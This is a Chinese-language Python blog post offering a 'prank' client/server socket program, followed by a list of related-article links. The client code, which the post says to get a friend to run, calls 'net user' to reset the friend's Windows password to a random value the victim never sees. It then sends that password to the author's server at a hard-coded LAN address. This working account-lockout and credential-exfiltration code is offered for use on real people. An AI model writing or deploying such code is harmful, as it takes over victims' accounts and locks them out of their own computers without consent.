一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
python zip文件 压缩
Dec 24 Python
删除目录下相同文件的python代码(逐级优化)
May 25 Python
Python中%r和%s的详解及区别
Mar 16 Python
python3中dict(字典)的使用方法示例
Mar 22 Python
python+mongodb数据抓取详细介绍
Oct 25 Python
解决python3捕获cx_oracle抛出的异常错误问题
Oct 18 Python
pycharm重命名文件的方法步骤
Jul 29 Python
django与vue的完美结合_实现前后端的分离开发之后在整合的方法
Aug 12 Python
30秒学会30个超实用Python代码片段【收藏版】
Oct 15 Python
关于初始种子自动选取的区域生长实例(python+opencv)
Jan 16 Python
基于python 将列表作为参数传入函数时的测试与理解
Jun 05 Python
python+opencv实现视频抽帧示例代码
Jun 11 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
function.inc.php超越php
2006/12/09 PHP
利用Memcached在php下实现session机制 替换PHP的原生session支持
2010/08/21 PHP
php Calender(日历)代码分享
2014/01/03 PHP
php格式化电话号码的方法
2015/04/24 PHP
网页禁用右键实现代码(JavaScript代码)
2009/10/29 Javascript
JavaScrip单线程引擎工作原理分析
2010/09/04 Javascript
yepnope.js 异步加载资源文件
2011/09/08 Javascript
Jvascript学习实践案例(开发常用)
2012/06/25 Javascript
基于JQuery的多标签实现代码
2012/09/19 Javascript
event对象获取方法总结在google浏览器下测试
2013/11/03 Javascript
JavaScript验证18位身份证号码最后一位正确性的实现代码
2014/08/07 Javascript
Html5的placeholder属性(IE兼容)实现代码
2014/08/30 Javascript
node.js中的querystring.unescape方法使用说明
2014/12/10 Javascript
JS函数的几种定义方式分析
2015/12/17 Javascript
JavaScript表单验证实例之验证表单项是否为空
2016/01/10 Javascript
javascript的几种继承方法介绍
2016/03/22 Javascript
使用plupload自定义参数实现多文件上传
2016/07/19 Javascript
JS实现Cookie读、写、删除操作工具类示例
2018/08/28 Javascript
详解Webpack loader 之 file-loader
2018/11/07 Javascript
jQuery实现侧边栏隐藏与显示的方法详解
2018/12/22 jQuery
vue cli4下环境变量和模式示例详解
2020/04/09 Javascript
[04:53]DOTA2英雄基础教程 祈求者
2014/01/03 DOTA
Python XML RPC服务器端和客户端实例
2014/11/22 Python
Python中获取对象信息的方法
2015/04/27 Python
python在TXT文件中按照某一字符串取出该字符串所在的行方法
2018/12/10 Python
python3实现小球转动抽奖小游戏
2020/04/15 Python
Python实现汇率转换操作
2020/05/03 Python
套娃式文件夹如何通过Python批量处理
2020/08/23 Python
基于Python模拟浏览器发送http请求
2020/11/06 Python
Python: glob匹配文件的操作
2020/12/11 Python
很酷的小工具和电子产品商城:GearBest
2016/11/19 全球购物
Flesh Beauty官网:露华浓集团旗下彩妆品牌
2021/02/15 全球购物
iostream与iostream.h的区别
2015/01/16 面试题
运动会5000米加油稿
2015/07/21 职场文书
Vue自定义铃声提示音组件的实现
2022/01/22 Vue.js
Python docx库删除复制paragraph及行高设置图片插入示例
2022/07/23 Python